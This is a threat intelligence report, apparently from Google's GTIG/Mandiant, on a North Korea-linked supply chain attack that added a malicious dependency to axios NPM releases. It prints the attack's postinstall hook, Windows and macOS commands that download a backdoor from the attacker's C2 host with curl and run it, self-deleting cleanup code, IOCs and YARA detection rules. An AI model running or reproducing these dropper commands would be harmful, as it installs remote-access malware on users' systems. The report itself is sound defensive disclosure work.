North Korea-Nexus Threat Actor Compromises Widely Used Axios NPM Package in Supply Chain Attack

By Google Threat Intelligence Group, Mandiant

Published: 2026-03-31 · Archived: 2026-04-05 17:57:38 UTC

Written by: Austin Larsen, Dima Lenz, Adrian Hernandez, Tyler McLellan, Christopher Gardner, Ashley Zaya, Michael Rudden, Mon Liclican

---

Introduction

Google Threat Intelligence Group (GTIG) is tracking an active software supply chain attack targeting the popular Node Package Manager (NPM) package "axios." Between March 31, 2026, 00:21 and 03:20 UTC, an attacker introduced a malicious dependency named "`plain-crypto-js`" into axios NPM releases versions 1.14.1 and 0.30.4. Axios is the most popular JavaScript library used to simplify HTTP requests, and these packages typically have over 100 million and 83 million weekly downloads, respectively. This malicious dependency is an obfuscated dropper that deploys the WAVESHAPER.V2 backdoor across Windows, macOS, and Linux.

GTIG attributes this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since at least 2018, based on the use of WAVESHAPER.V2, an updated version of WAVESHAPER previously used by this threat actor. Further, analysis of infrastructure artifacts used in this attack shows overlaps with infrastructure used by UNC1069 in past activities.

This blog details the attack lifecycle, from the initial account compromise to the deployment of operating system (OS)-specific payloads, and provides actionable guidance for defenders to identify and mitigate this threat.

Campaign Overview

On March 31, 2026, GTIG observed the introduction of `plain-crypto-js` version 4.2.1 as a dependency in the legitimate `axios` package version 1.14.1. Analysis indicates the maintainer account associated with the `axios` package was compromised, with the associated email address changed to an attacker-controlled account (`ifstap@proton.me`).

The threat actor used the `postinstall` hook within the "`package.json`" file of the malicious dependency to achieve silent execution. Upon installation of the compromised `axios` package, NPM automatically executes an obfuscated JavaScript dropper named "`setup.js`" in the background.

```
"scripts": {
  "test": "echo \"Error: no test specified\" && exit 1",
  "postinstall": "node setup.js"
```

```
}
```

Malware Analysis

The `plain-crypto-js` package serves as a payload delivery vehicle. The core component, SILKBELL, `setup.js` (SHA256: `e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09`), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads.

The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads `fs`, `os`, and `execSync`. After successfully dropping the secondary payload, `setup.js` attempts to delete itself and revert the modified `package.json` to hide forensic traces of the `postinstall` hook.

Operating System-Specific Execution Paths

Depending on the identified platform, the dropper executes the following routines.

Windows

The dropper actively hunts for the native `powershell.exe` binary. To evade detection, it copies the legitimate executable to `%PROGRAMDATA%\wt.exe`. It then downloads a PowerShell script via `curl` using the POST body `packages.npm.org/product1` and saves it to the user's AppData Temp directory (e.g., `%TEMP%\6202033.ps1`). The payload is executed using a copied Windows Terminal executable with hidden and execution policy bypass flags.

```
 Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%
                            & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak
```

macOS

The malware uses `bash` and `curl` to download a native Mach-O binary payload to `/Library/Caches/com.apple.act.mond` using the POST body `packages.npm.org/product0`. It modifies permissions to make the file executable and launches it via `zsh` in the background.

```
try
   do shell script "
        curl -o /Library/Caches/com.apple.act.mond
                -d packages.npm.org/product0
                -s http://sfrclak.com:8000/6202033
                && chmod 770 /Library/Caches/com.apple.act.mond
                && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &"
                &> /dev/null"
```

```
    "
  end try
  do shell script "rm -rf tmp/6202033"
```

Linux

The script downloads a Python backdoor to `/tmp/ld.py` using the POST body `packages.npm.org/product2`.

Cleanup

Aside from removing downloaded scripts in two execution branches, the script attempts to remove itself and replace an injected package.json with an original one, which was stored as "`package.md`".

```
 const K = __filename;
t.unlink(K, (x => {}))
t.unlink('package.json', (x => {})), t.rename('package.md', 'package.json', ord)
```

WAVESHAPER.V2 Backdoor Capabilities

The platform-specific payloads ultimately deploy variants of a backdoor tracked by GTIG as WAVESHAPER.V2, a backdoor written in C++ that targets macOS to collect system information, enumerate directories, or execute additional payloads and that connects to the C2 provided via command-line arguments. Notably, GTIG identified additional variants of WAVESHAPER.V2 written in PowerShell and Python to target diverse environments. Regardless of the operating system, the malware beacons to the C2 endpoint over port 8000 at 60-second intervals. The beacon consists of Base64-encoded JSON data and uses a hard-coded User-Agent:

`mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)`

Following the initial beaconing to the adversary infrastructure, WAVESHAPER.V2 continuously polls, pausing for 60 seconds awaiting instructions. The server response determines the next action taken by the implant. The backdoor supports multiple commands outlined in the Table 1.

Command	Description
`kill`	Terminates the malware's execution process.
`rundir`	Retrieves detailed directory listings, including file paths, sizes, and creation/modification timestamps for paths specified in the `ReqPaths` parameter.
`runscript`	Decodes and executes a provided AppleScript payload.

Command	Description
`peinject`	Decodes, drops, ad-hoc signs, and executes an arbitrary binary payload with optional parameters.

Table 1: WAVESHAPER.V2 commands

On Windows, persistence is achieved by creating a hidden batch file (`%PROGRAMDATA%\system.bat`) and adding a new entry named `MicrosoftUpdate` to `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run` to launch it at logon.

WAVESHAPER.V2 acts as a fully functional RAT with the following capabilities:

- **Reconnaissance:** Extracts system telemetry, including hostname, username, boot time, time zone, OS version, and detailed running process lists.
- **Command Execution:** Supports multiple execution methods, including in-memory Portable Executable (PE) injection and arbitrary shell commands. The shell execution command expects a script and script parameters from C2; if no script is provided, the parameter is executed as a PowerShell command, but if a script is provided, it is either Base64-encoded or placed into a file depending on its size.
- **File System Enumeration:** Returns detailed metadata for requested target directories by continuously recursing through the file system.

Attribution

GTIG attributes this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since 2018. Analysis of the C2 infrastructure (`sfrclak[.]com` resolving to `142.11.206.73`) revealed connections from a specific AstrillVPN node previously used by UNC1069. Additionally, adjacent infrastructure hosted on the same ASN has been historically linked to UNC1069 operations.

Furthermore, WAVESHAPER.V2 is a direct evolution of WAVESHAPER, a macOS and Linux backdoor previously attributed to UNC1069. While the original WAVESHAPER uses a lightweight, raw binary C2 protocol and employs code packing, WAVESHAPER.V2 communicates using JSON, collects additional system information, and supports more backdoor commands. Despite these upgrades, both versions accept their C2 URL dynamically via command-line arguments, share identical C2 polling behaviors and an uncommon User-Agent string, and deploy secondary payloads to identical temporary directories (e.g., `/Library/Caches/com.apple.act.mond`).

Outlook and Implications

The impact of this attack by North Korea-nexus actors is broad and has ripple effects as other popular packages rely on axios as a dependency. Notably, UNC1069 isn’t the only threat actor that has launched successful open

source supply chain attacks in recent weeks. UNC6780 (also known as TeamPCP) recently poisoned GitHub Actions and PyPI packages associated with projects like Trivy, Checkmarx, and LiteLLM to deploy the SANDCLOCK credential stealer and facilitate follow-on extortion operations.

Hundreds of thousands of stolen secrets could potentially be circulating as a result of these recent attacks. This could enable further software supply chain attacks, software as a service (SaaS) environment compromises (leading to downstream customer compromises), ransomware and extortion events, and cryptocurrency theft over the near term.

Supply chain compromise is a particularly dangerous tactic because it abuses the inherent trust that users and enterprise administrators place in hardware, software, and updates supplied by reputable vendors as well as the trust they may not realize they are placing in collaborative code-sharing communities. Defenders should pay close attention to these campaigns, and enterprises should initiate dedicated efforts to assess the existing impact, remediate compromised systems, and harden environments against future attacks.

Remediation

GTIG urges all developers and organizations using the axios package to take immediate corrective action. Priority should be given to auditing dependency trees for compromised versions, isolating affected hosts, and rotating any potentially exposed secrets or credentials. Following initial containment, organizations must implement long-term hardening through strict version pinning and enhanced supply-chain monitoring.

- **Version Control:** Do not upgrade to axios version 1.14.1 or 0.30.4. Ensure corporate-managed NPM repositories are configured to serve only known-good versions (e.g., 1.14.0 or earlier; 0.30.3 or earlier).
- **Dependency Pinning:** Pin axios to a known safe version in your `package-lock.json` to prevent accidental upgrades.
- **Malicious Package Audit:** Inspect project lockfiles specifically for the 'plain-crypto-js' package (versions 4.2.0 or 4.2.1). Use tools like Wiz or Open Source Insights for deeper dependency auditing.
- **Pipeline Security:** Pause CI/CD deployments for any package relying on axios. Validate that builds are not pulling "latest" versions before redeploying with pinned, safe versions.
- **Incident Response:** If `plain-crypto-js` is detected, assume the host environment is compromised. Revert the environment to a known-good state and rotate all credentials or secrets present on that machine.
- **Network Defense:** Block all traffic to sfrclak[.]com and the command & control IP: 142.11.206.73. Monitor and alert on any endpoint communication attempts to this domain.
- **Cache Remediation:** Clear local and shared npm, yarn, and pnpm caches on all workstations and build servers to prevent re-infection during subsequent installs.
- **Endpoint Protection:** Deploy EDR to protect developer environments. Monitor for suspicious processes spawning from Node.js applications that match known Indicators of Compromise (IOCs).

- **Credential Management:** Rotate all tokens and API keys used by applications confirmed to have run indicators of compromise (IOCs).
- **Developer Sandboxing & Secret Vaulting**: Isolate development environments in containers or sandboxes to restrict host filesystem access, and migrate plaintext secrets to the OS keychain using aws-vault. This ensures compromised packages cannot programmatically scrape credentials or execute malicious scripts directly on the host machine.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

Network Indicators

Indicator	Type	Notes
`142.11.206.73`	C2	WAVESHAPER.V2
`sfrclak[.]com`	C2	WAVESHAPER.V2
`http://sfrclak[.]com:8000`	C2	WAVESHAPER.V2
`http://sfrclak[.]com:8000/6202033`	C2	WAVESHAPER.V2
`23.254.167.216`	C2	Suspected UNC1069 Infrastructure

File Indicators

Family	Notes	SHA256
WAVESHAPER.V2	Linux Python RAT	`fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf`

WAVESHAPER.V2	macOS Native Binary	`92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a`
WAVESHAPER.V2	Windows Stage 1	`617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101`
WAVESHAPER.V2	N/A	`ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c`
SILKBELL	N/A	`e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09`
N/A	system.bat	`f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd`
N/A	plain-crypto-js-4.2.1.tgz	`58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668`

YARA Rules

These rules may be most useful on developer workstations, CI/build systems, and other suspected impacted hosts for retrospective hunting and validation.

```
 rule G_Backdoor_WAVESHAPER.V2_PS_1
{
    meta:
        description = "Detects the WAVESHAPER.V2 PowerShell backdoor which communicates with C2 via base64 encoc
        author = "GTIG"
        md5 = "04e3073b3cd5c5bfcde6f575ecf6e8c1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31"
        rev = 1
        platforms = "Windows"
        family = "WAVESHAPER.V2"
    strings:
        $ss1 = "packages.npm.org/product1" ascii wide nocase
        $ss2 = "Extension.SubRoutine" ascii wide nocase
        $ss3 = "rsp_peinject" ascii wide nocase
        $ss4 = "rsp_runscript" ascii wide nocase
```

```
        $ss5 = "rsp_rundir" ascii wide nocase
        $ss6 = "Init-Dir-Info" ascii wide nocase
        $ss7 = "Do-Action-Ijt" ascii wide nocase
        $ss8 = "Do-Action-Scpt" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and 5 of ($ss*)
}
```

```
 rule G_Hunting_Downloader_suspected_UNC1069_PS_1
{
    meta:
        description = "Detects PowerShell dropper associated with suspected UNC1069 and Axios npm package supply
        author = "GTIG"
        md5 = "089e2872016f75a5223b5e02c184dfec"
        date_created = "2026/03/31"
        date_modified = "2026/03/31"
        rev = 1
        platforms = "Windows"
    strings:
        $ss1 = "start /min powershell -w h" ascii wide nocase
        $ss2 = "[scriptblock]::Create([System.Text.Encoding]::UTF8.GetString" ascii wide nocase
        $ss3 = "Invoke-WebRequest -UseBasicParsing" ascii wide nocase
        $ss4 = "-Method POST -Body" ascii wide nocase
        $ss5 = "packages.npm.org/product1" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 5KB and all of them
}
```

```
 rule G_Hunting_Downloader_SILKBELL_1
{
    meta:
        description = "Detects the obfuscated version of the JS NPM supply chain downloader using Base64 obfusca
        author = "GTIG"
        md5 = "7658962ae060a222c0058cd4e979bfa1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31"
        rev = 1
        platforms = "Any"
    strings:
        $ss1 = "OrDeR_7077" ascii wide fullword
        $ss2 = "String.fromCharCode(S^a^333)" ascii wide
        $ss3 = "\"TE9DQUw^\".replaceAll(\"^\",\"=\")" ascii wide
        $ss4 = "\"UFM_\".replaceAll(\"_\",\"=\")" ascii wide
        $ss5 = "\"U0NSXw--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss6 = "\"UFNfQg--\".replaceAll(\"-\",\"=\")" ascii wide
```

```
        $ss7 = "\"d2hlcmUgcG93ZXJzaGVsbA((\".replaceAll(\"(\",\"=\")" ascii wide
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and all of them
}
```

Google Security Operations (SecOps)

Google Security Operations (SecOps) customers have access to the following broad category rules and more under the Mandiant Intel Emerging Threats rule pack.

- Curl Writing Apple System File to Staging Directory
- Node Spawning Nohup Osascript
- Node Spawning Windows Script Host With Delete Command
- Windows Script Host Spawning Shell With Curl
- Windows Terminal In Suspicious Staging Directory

Wiz

Wiz customers should check their Wiz Threat Center for information on this advisory and whether or not they are impacted. For more information refer to Wiz's blog post, Axios NPM Distribution Compromised in Supply Chain Attack.

Posted in

- Threat Intelligence
